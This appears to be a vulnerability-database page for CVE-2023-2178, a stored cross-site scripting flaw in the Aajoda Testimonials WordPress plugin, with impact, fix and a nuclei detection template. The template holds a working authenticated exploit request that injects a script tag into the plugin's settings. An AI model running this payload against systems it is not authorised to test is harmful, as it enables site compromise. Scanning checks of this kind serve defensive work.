HexBrain

Browse / CVEs / CVE-2023-2178

CVE-2023-2178· aajoda / aajoda testimonials· CWE-79

Aajoda Testimonials < 2.2.2 - Cross-Site Scripting

mediumseverity
4.8CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it

The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update Aajoda Testimonials plugin to version 2.2.2 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; POST /wp-admin/options-general.php?page=aajoda-testimonials
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></textarea><script>alert(document.domain)</script>") and contains(body_2, "page_aajoda-testimonials")

Run it with nuclei: nuclei -id CVE-2023-2178 -u <target>

The full check
id: CVE-2023-2178

info:
  name: Aajoda Testimonials < 2.2.2 - Cross-Site Scripting
  author: Farish
  severity: medium
  description: |
    The plugin does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update Aajoda Testimonials plugin to version 2.2.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e84b71f9-4208-4efb-90e8-1c778e7d2ebb
    - https://downloads.wordpress.org/plugin/aajoda-testimonials.2.1.0.zip
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2178
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-2178
    cwe-id: CWE-79
    epss-score: 0.00773
    epss-percentile: 0.56035
    cpe: cpe:2.3:a:aajoda:aajoda_testimonials:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: aajoda
    product: aajoda_testimonials
    framework: wordpress
  tags: cve2023,cve,wpscan,wordpress,wp,wp-plugin,xss,authenticated,aajoda,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        aajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></textarea><script>alert(document.domain)</script>")'
          - 'contains(body_2, "page_aajoda-testimonials")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from